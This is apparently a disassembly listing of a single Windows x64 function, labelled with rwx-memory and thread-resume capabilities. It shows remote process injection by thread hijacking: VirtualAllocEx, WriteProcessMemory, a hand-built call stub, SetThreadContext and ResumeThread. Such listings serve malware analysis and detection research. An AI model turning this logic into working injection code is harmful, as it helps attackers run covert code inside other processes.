Function at 0x18000b480
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x468]
sub rsp, 0x540
and qword [rsp + 0x60], 0
xorps xmm0, xmm0
mov r13d, 0x40
mov ebx, r9d
mov r15, r8
mov dword [rsp + 0x20], r13d
mov rsi, rdx
mov r9d, 0x1000
xor edx, edx
mov rdi, rcx
lea r8d, [r13 - 0x20]
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x18000b4f5
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x18000b745
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
mov r8, rbx
xor edx, edx
mov rcx, rdi
mov r12, rbx
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x18000b4ea
lea rax, [rsp + 0x60]
mov r9, r12
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x18000b4ea
and dword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
mov r8d, 4
mov rdx, r15
call qword [sym.imp.ntdll.dll_memcpy]
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x18000b4ea
mov r9d, dword [rsp + 0x30]
lea rax, [rsp + 0x60]
lea r8, [r15 + 4]
mov qword [rsp + 0x20], rax
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x18000b4ea
mov rcx, r15
call fcn.18000b070
mov r15d, eax
cmp eax, r13d
jne 0x18000b62e
sub ebx, r14d
mov dword [rsp + 0x38], 0x28ec8348
sub ebx, 0xb
mov word [rsp + 0x3c], 0x8d48
mov eax, ebx
mov byte [rsp + 0x3f], bl
shr eax, 8
mov ecx, r12d
mov byte [rsp + 0x40], al
sub ecx, r14d
sub ecx, 0x10
mov byte [rsp + 0x3e], reloc.WS2_32.dll_listen
mov eax, ebx
mov byte [rsp + 0x44], cl
shr eax, 0x10
mov r13d, r14d
mov byte [rsp + 0x41], al
mov eax, ecx
shr eax, 8
mov byte [rsp + 0x45], al
mov eax, ecx
shr eax, 0x10
shr ebx, 0x18
shr ecx, 0x18
mov byte [rsp + 0x47], cl
mov byte [rsp + 0x42], bl
mov byte [rsp + 0x43], 0xe8
mov byte [rsp + 0x46], al
mov dword [rsp + 0x48], 0x8348c033
mov word [rsp + 0x4c], 0x28c4
mov byte [rsp + 0x4e], 0xc3
jmp 0x18000b689
mov r13d, r14d
cmp r15d, 0x20
jne 0x18000b689
mov eax, ebx
mov byte [rsp + 0x39], bl
shr eax, 8
mov ecx, r12d
mov byte [rsp + 0x3a], al
sub ecx, r14d
sub ecx, 0xa
mov byte [rsp + 0x38], 0x68
mov eax, ebx
mov byte [rsp + 0x3e], cl
shr eax, 0x10
mov byte [rsp + 0x3b], al
mov eax, ecx
shr eax, 8
mov byte [rsp + 0x3f], al
mov eax, ecx
shr eax, 0x10
shr ebx, 0x18
shr ecx, 0x18
mov byte [rsp + 0x41], cl
mov byte [rsp + 0x3c], bl
mov byte [rsp + 0x3d], 0xe8
mov byte [rsp + 0x40], al
mov byte [rsp + 0x42], 0xc3
lea rax, [rsp + 0x60]
mov ebx, 0x20
mov r9d, ebx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x38]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x18000b4ea
and dword [rsp + 0x58], 0
lea rax, [rsp + 0x58]
mov r9d, ebx
mov qword [rsp + 0x20], rax
mov r8d, ebx
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
mov r8d, dword [rsp + 0x30]
lea rax, [rsp + 0x58]
mov r9d, ebx
mov qword [rsp + 0x20], rax
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
cmp r15d, 0x40
jne 0x18000b766
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x4d0
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x70]
mov dword [rbp - 0x60], 0x10000b
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_GetThreadContext]
lea rdx, [rsp + 0x70]
mov qword [rbp + 0x68], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_SetThreadContext]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ResumeThread]
test eax, eax
je 0x18000b4ea
xor eax, eax
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp r15d, ebx
jne 0x18000b743
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x2c8
call sub.ntdll.dll_memset
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10000b
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_Wow64GetThreadContext]
lea rdx, [rsp + 0x70]
mov dword [rbp + 0x28], r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_Wow64SetThreadContext]
jmp 0x18000b732